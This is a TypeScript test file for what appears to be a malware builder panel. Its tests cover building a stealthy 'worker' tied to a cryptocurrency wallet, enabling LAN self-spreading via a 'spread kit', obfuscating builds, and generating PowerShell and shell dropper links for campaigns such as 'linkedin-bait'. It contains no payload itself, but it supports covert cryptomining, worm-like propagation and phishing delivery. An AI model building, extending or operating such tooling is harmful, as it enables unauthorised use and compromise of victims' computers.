import { describe, it, expect, vi } from 'vitest'; import type { BuildRequest, BuildResponse } from '../types'; import { applyMissionPresets, buildMissionLinks, copyMissionLinks, missionStepStatus, runForgeMission, type MissionApi, } from './forgeMission'; const baseForm = (): BuildRequest => ({ server_url: 'http://192.168.1.50:8989', wallet: '4' + 'A'.repeat(94), worker_name: 'mission-worker', threads: 2, target_os: 'windows', target_arch: 'amd64', stealth_mode: false, spread_kit: false, fusion_enabled: false, }) as BuildRequest; const okBuild = (overrides: Partial = {}): BuildResponse => ({ success: true, build_id: 'build-abc-123', file_name: 'worker.exe', file_size: 1024, download_url: '/api/v1/builds/build-abc-123/download', ...overrides, }); describe('forgeMission helpers', () => { it('applies operation mode then spread profile', () => { const next = applyMissionPresets(baseForm(), 'ghost_walk', 'lan_kindling'); expect(next.stealth_mode).toBe(true); expect(next.spread_kit).toBe(true); expect(next.auto_spread).toBe(true); expect(next.target_os).toBe('universal'); }); it('builds dropper links with pin and campaign', () => { const links = buildMissionLinks('http://10.0.0.5:8989/', 'pin-1', 'wave-a'); expect(links.ps1).toContain("install.ps1?pin=pin-1&c=wave-a"); expect(links.sh).toContain('install.sh?pin=pin-1&c=wave-a'); expect(links.get).toBe('http://10.0.0.5:8989/get?pin=pin-1&c=wave-a'); expect(links.clipboardText).toContain(links.ps1); expect(links.clipboardText).toContain(links.sh); expect(links.clipboardText).toContain(links.get); }); it('tracks mission step status including skipped export', () => { expect(missionStepStatus('configure', 'forge', false)).toBe('done'); expect(missionStepStatus('forge', 'forge', false)).toBe('active'); expect(missionStepStatus('export', 'copy', true)).toBe('skipped'); expect(missionStepStatus('copy', 'done', false)).toBe('done'); }); it('runForgeMission configures, builds, exports spread kit, and returns links', async () => { const buildAgent = vi.fn().mockResolvedValue(okBuild()); const exportSpreadKit = vi.fn().mockResolvedValue(undefined); const api: MissionApi = { buildAgent, exportSpreadKit }; const steps: string[] = []; const result = await runForgeMission({ form: baseForm(), operationMode: 'wildfire', spreadProfile: 'lan_kindling', campaign: 'linkedin-bait', serverBase: 'http://192.168.1.50:8989', api, onStep: (s) => steps.push(s), cancelToken: 'tok-1', }); expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']); expect(buildAgent).toHaveBeenCalledOnce(); expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true); expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1'); expect(exportSpreadKit).toHaveBeenCalledWith({ build_id: 'build-abc-123', server_url: 'http://192.168.1.50:8989', campaign: 'linkedin-bait', }); expect(result.exportSkipped).toBe(false); expect(result.links.ps1).toContain('build-abc-123'); }); it('skips export when spread_kit is false after presets', async () => { const buildAgent = vi.fn().mockResolvedValue(okBuild()); const exportSpreadKit = vi.fn(); const steps: string[] = []; const result = await runForgeMission({ form: baseForm(), operationMode: 'open_flame', spreadProfile: '', campaign: '', serverBase: 'http://host:8989', api: { buildAgent, exportSpreadKit }, onStep: (s) => steps.push(s), }); expect(exportSpreadKit).not.toHaveBeenCalled(); expect(steps).toEqual(['configure', 'forge', 'copy', 'done']); expect(result.exportSkipped).toBe(true); }); it('throws on failed build without exporting', async () => { const buildAgent = vi.fn().mockResolvedValue({ success: false, error: 'garble OOM', } satisfies BuildResponse); const exportSpreadKit = vi.fn(); await expect( runForgeMission({ form: baseForm(), operationMode: 'ghost_walk', spreadProfile: 'lan_kindling', campaign: 'x', serverBase: 'http://host', api: { buildAgent, exportSpreadKit }, }), ).rejects.toThrow('garble OOM'); expect(exportSpreadKit).not.toHaveBeenCalled(); }); it('copyMissionLinks writes combined text', async () => { const writeText = vi.fn().mockResolvedValue(undefined); vi.stubGlobal('navigator', { clipboard: { writeText } }); const links = buildMissionLinks('http://h', 'b1', 'c1'); await copyMissionLinks(links); expect(writeText).toHaveBeenCalledWith(links.clipboardText); }); });